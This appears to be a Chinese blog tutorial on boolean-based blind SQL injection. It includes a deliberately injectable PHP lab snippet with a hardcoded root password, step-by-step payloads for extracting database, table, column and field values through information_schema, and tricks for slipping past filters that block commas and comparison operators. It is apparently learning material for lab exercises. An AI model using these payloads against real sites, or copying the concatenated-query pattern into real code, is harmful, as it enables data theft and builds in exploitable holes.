SQL注入利用 学习- 布尔盲注

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行“干预”。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

 实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当使用Burp Suite进行SQL注入漏洞测试时,布尔盲注是一种常用的技术之一。布尔盲注是一种盲注攻击技术,它通过在SQL查询中使用布尔逻辑来确定数据库中的信息。以下是一些步骤来测试布尔盲注漏洞: 1. 配置Burp Suite:首先,确保已正确配置Burp Suite以拦截和修改HTTP请求和响应。您可以在Burp Suite的Proxy选项卡下设置代理,并根据需要配置浏览器或应用程序以使用该代理。 2. 找到注入点:使用Burp Suite的Spider或Repeater工具来找到潜在的注入点。这可以是URL参数、表单字段或Cookie值等。 3. 构造注入语句:使用布尔盲注技术,构造适当的注入语句来测试漏洞。例如,您可以尝试通过在WHERE子句中使用布尔逻辑来判断条件是否为真或假来确定数据库中的信息。 4. 检测响应差异:发送经过注入处理的请求,并观察响应是否有所不同。如果响应正常,可能意味着注入失败;如果响应出现错误或有其他差异,可能意味着注入成功。 5. 使用布尔逻辑验证条件:根据不同的响应,使用布尔逻辑来验证条件是否为真或假。例如,您可以通过在注入语句中使用AND或OR运算符来检查条件。 6. 执行进一步的测试:根据验证的结果,您可以进一步探测和利用漏洞。使用Burp Suite的其他工具和插件来自动化和加快测试过程。 请注意,在进行任何安全测试之前,确保您已获得适当的授权,并仅在合法范围内进行测试。此外,始终遵循道德黑客和安全测试的最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值